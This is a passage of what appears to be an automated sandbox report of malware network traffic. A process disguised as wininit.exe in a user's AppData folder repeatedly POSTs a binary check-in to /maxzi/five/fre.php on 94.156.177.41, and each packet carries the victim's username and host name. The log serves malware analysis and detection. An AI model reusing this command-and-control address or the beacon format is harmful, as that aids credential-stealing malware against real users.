Nov 20, 2024 10:57:16.128443003 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:16.996128082 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:16 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49740	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:17.161698103 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:17.172162056 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:17.928177118 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:17 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:18.088597059 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:18.095134974 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:18.827666044 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:18 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:19.180116892 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:19.188468933 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:19.860785007 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:19 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49748	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:20.010689020 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:20.015773058 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:20.941595078 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:20 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:21.093544006 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:21.098850965 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:21.966209888 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:21 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:22.123733044 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:22.128961086 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:22.899676085 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:22 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:23.042582989 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:23.051374912 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:23.803018093 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:23 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:23.947213888 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:23.952105999 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:24.685511112 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:24 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:24.846554041 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:24.855712891 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:25.787076950 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:25 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49755	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:25.927906036 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:25.934108973 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:26.822717905 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:26 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49756	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:26.978172064 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:26.983155966 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:27.739604950 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:27 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49757	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:27.885332108 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:27.893409014 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:28.632070065 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:28 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49758	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:28.793894053 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:28.799350023 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:29.544524908 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:29 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49759	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:29.717889071 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:29.726325989 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:30.509517908 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:30 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49760	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:30.662184954 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:30.667112112 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:31.416517019 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:31 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49761	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:31.592397928 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:31.597321033 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:32.379905939 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:32 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49762	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:32.529407024 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:32.534728050 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:33.635812044 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:33 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Nov 20, 2024 10:57:33.639395952 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:33 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49763	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:33.795550108 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:33.800604105 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:34.562134981 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:34 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	58489	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:34.715595007 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:34.722223997 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:35.466188908 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:35 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	58491	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:35.625449896 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 10:57:35.630460024 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 31 00 34 00 32 00 32 00 33 00 33 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones142233JONES-PC0FDD42EE188E931437F4FBE2C
Nov 20, 2024 10:57:36.395639896 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 09:57:36 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	58492	94.156.177.41	80	2668	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 10:57:36.541212082 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
